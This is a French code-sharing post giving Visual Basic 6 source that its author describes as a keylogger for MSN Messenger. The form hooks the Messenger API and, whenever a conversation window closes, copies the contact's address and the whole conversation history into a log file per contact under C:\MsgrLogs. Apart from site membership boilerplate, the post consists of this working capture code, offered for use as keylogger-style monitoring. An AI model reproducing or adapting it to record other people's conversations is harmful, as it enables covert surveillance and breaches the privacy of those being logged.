Ben c comme un keylogger juste pour msn messenger .
Source / Exemple :
'Il vous faut un module et une form ,c tout !
'A oui, vous devez allez dans projet -> reference et cochez "messenger api type library".
' Et surtout cree un dossier "MsgrLogs" dans le disque C: !!! sinon erreur !
'Dans le module
'-----------------
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const VK_SPACE = &H20
Public Const WM_COMMAND = &H111
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SETTEXT = &HC
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
'-----------------
'Dans la form
'--------------
Option Explicit
Private WithEvents objMessenger As MessengerAPI.Messenger
Private Sub Form_Load()
Set objMessenger = New MessengerAPI.Messenger
End Sub
Private Sub objMessenger_OnIMWindowDestroyed(ByVal pIMWindow As Object)
Dim MsgrIMWindow As IMessengerConversationWnd
Dim MsgrContacts As IMessengerContacts
Dim lngEdit&, lngTextLen&, m&, f As Long
Dim strText$, strEditText$, strEmail$, strTmpText As String
Set MsgrIMWindow = pIMWindow
Set MsgrContacts = MsgrIMWindow.Contacts
lngEdit = FindWindowEx(MsgrIMWindow.hWnd, 0, "edit", vbNullString)
lngTextLen = SendMessageLong(lngEdit, WM_GETTEXTLENGTH, 0, 0)
strText = String(lngTextLen + 1, Chr(0))
Call SendMessageByString(lngEdit, WM_GETTEXT, lngTextLen + 1, strText)
strEditText = Left(strText, lngTextLen)
If MsgrContacts.Count = 0 Then
strTmpText = Mid(strEditText, 1, InStr(strEditText, ">, "))
Else
strTmpText = strEditText
End If
If InStr(strTmpText, ">") = 0 Then
strEmail = strTmpText
Else
m = InStrRev(strTmpText, "<")
f = InStrRev(strTmpText, ">")
strEmail = Mid(strTmpText, m + 1, f - m - 1)
End If
Open "C:\MsgrLogs\" & strEmail & ".log" For Append As #1 'a la fermeture de la fenetre de conversation , le programme enregistre la conversation dans un fichier .log
Print #1, "-----------------------------"
Print #1, "Contact dans la conversation : " & strEditText
Print #1, "Le " & Date & " a " & Time
Print #1, "-----------------------------"
Print #1, MsgrIMWindow.History
Print #1, "-----------------------------" & vbCrLf
Close #1
End Sub
'--------------
Conclusion :
VOila voila...
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.